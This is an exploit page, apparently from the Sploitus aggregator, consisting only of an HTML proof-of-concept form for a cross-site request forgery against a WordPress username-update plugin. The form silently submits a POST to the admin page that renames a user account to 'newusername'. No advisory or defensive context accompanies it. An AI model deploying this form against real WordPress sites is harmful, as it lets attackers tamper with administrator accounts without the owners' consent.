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## https://sploitus.com/exploit?id=WPEX-ID:426B5A0F-C16D-429A-9396-B3AEA7922826
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=eup_username_update&update=3" method="POST">
      <input type="hidden" name="user&#95;login" value="newusername" />
      <input type="hidden" name="submit" value="Update&#32;Username" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>